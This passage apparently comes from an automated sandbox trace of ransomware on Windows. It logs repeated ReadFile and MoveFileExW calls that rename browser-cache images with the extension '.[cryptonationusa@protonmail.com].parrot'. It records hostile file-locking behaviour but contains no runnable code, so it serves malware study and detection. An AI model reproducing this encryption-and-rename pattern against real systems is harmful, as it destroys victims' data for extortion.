lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.152] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.157] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.159] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.159] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9a9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9a9, lpOverlapped=0x0) returned 1 [0080.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.160] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.164] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.164] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.165] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1b08, lpOverlapped=0x0) returned 1 [0080.167] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.168] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.171] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.171] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.172] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c41, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c41, lpOverlapped=0x0) returned 1 [0080.173] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.174] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.177] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.177] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.179] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x950, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x950, lpOverlapped=0x0) returned 1 [0080.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.179] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.183] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.184] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1bba, lpOverlapped=0x0) returned 1 [0080.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.185] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.188] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.218] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x76a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x76a, lpOverlapped=0x0) returned 1 [0080.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.219] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.236] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x95f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x95f, lpOverlapped=0x0) returned 1 [0080.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.236] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.240] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.242] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x241e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x241e, lpOverlapped=0x0) returned 1 [0080.243] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.243] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.246] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.248] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x938, lpOverlapped=0x0) returned 1 [0080.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.249] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.251] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.251] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.253] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.253] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x192a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x192a, lpOverlapped=0x0) returned 1 [0080.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.254] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.257] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.257] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.259] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.259] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23fb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x23fb, lpOverlapped=0x0) returned 1 [0080.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.260] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.263] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.265] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a99, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2a99, lpOverlapped=0x0) returned 1 [0080.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.267] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 